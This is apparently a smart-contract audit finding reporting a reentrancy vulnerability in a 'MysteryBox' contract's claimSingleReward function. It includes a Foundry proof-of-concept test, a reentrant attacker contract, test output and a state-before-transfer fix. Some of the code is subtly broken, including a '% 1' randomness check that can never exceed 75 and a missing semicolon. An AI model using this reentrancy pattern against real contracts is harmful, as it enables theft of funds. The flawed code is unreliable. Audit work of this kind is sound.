[H-1] TITLE (Root + Impact) : The `claimSingleReward` function in the `MysteryBox` contract is vulnerable to a reentrancy attack, which could drain all the funds from the `MysteryBox` contract.

Description : The `claimSingleReward` function in the `MysteryBox` contract can be attacked using a reentrancy attack. This happens because the function transfers funds to a user before updating the contract's state. An attacker can call the function repeatedly before the state is updated, causing the contract to send out more funds than it should. As a result, the attacker could drain all the funds from the contract.

Impact : An attacker could drain all the funds from the `MysteryBox` contract.

Proof of Concepts : Below is the code I wrote, along with a test case to show how an attacker can drain the funds from the contract.

```
function testreentrencyattack() external{

console.log("Testing Reentrancy attack...");

uint256 index;

ReentrancyAttacker attacker = new ReentrancyAttacker(mysteryBox);

vm.deal(address(mysteryBox) , 10 ether);
vm.deal(address(attacker) , 10 ether);


console.log("Hacker contract before balance" , address(attacker).balance);
console.log("Main contract before balance" , address(mysteryBox).balance);


vm.startPrank(address(attacker));

for(uint256 i = 0; i<5; i++){

vm.warp(1641070800 + i);
mysteryBox.buyBox{value : 0.1 ether}();
mysteryBox.openBox();


uint256 valuerandom = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 1

if(valuerandom > 75){

    index = i;
    break;
}
}

attacker.attack(index);
vm.stopPrank();

console.log("Hacker contract after balance" , address(attacker).balance);
console.log("Main contract after balance" , address(mysteryBox).balance);


}
```

Attack contract

```
contract ReentrancyAttacker {

    MysteryBox mysteryBox;
    uint256 index;



   constructor(MysteryBox _mysteryBox) {

   mysteryBox = _mysteryBox;


   }



   function attack(uint256 _index) external payable {

   index = _index;

    mysteryBox.claimSingleReward(_index);

   }



   receive() external payable {

   if (address(mysteryBox).balance >= 1e18) {

   mysteryBox.claimSingleReward(index);
```

```
    }

    }

    }
```

This test case passed, and the attacker can drain all the funds from the `MysteryBox` contract.

```
root@LAPTOP-6DCGCU3B:~/2024-09-mystery-box# forge test --mt testreentrencyattack -vvv
[ ] Compiling...
[ ] Compiling 1 files with Solc 0.8.28
[ ] Solc 0.8.28 finished in 1.26s
Compiler run successful!

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testreentrencyattack() (gas: 1167545)
Logs:
Testing Reentrancy attack...

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.48ms (14.59ms CPU time)

Ran 1 test suite in 29.62ms (19.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 tota
```

Recommended mitigation : We can update the state before transferring the amount to the user..

Recommended code :

```
function claimSingleReward(uint256 _index) public {
    require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
    uint256 value = rewardsOwned[msg.sender][_index].value;
    require(value > 0, "No reward to claim");

    delete rewardsOwned[msg.sender][_index];

    (bool success,) = payable(msg.sender).call{value: value}("");
    require(success, "Transfer failed");

}
```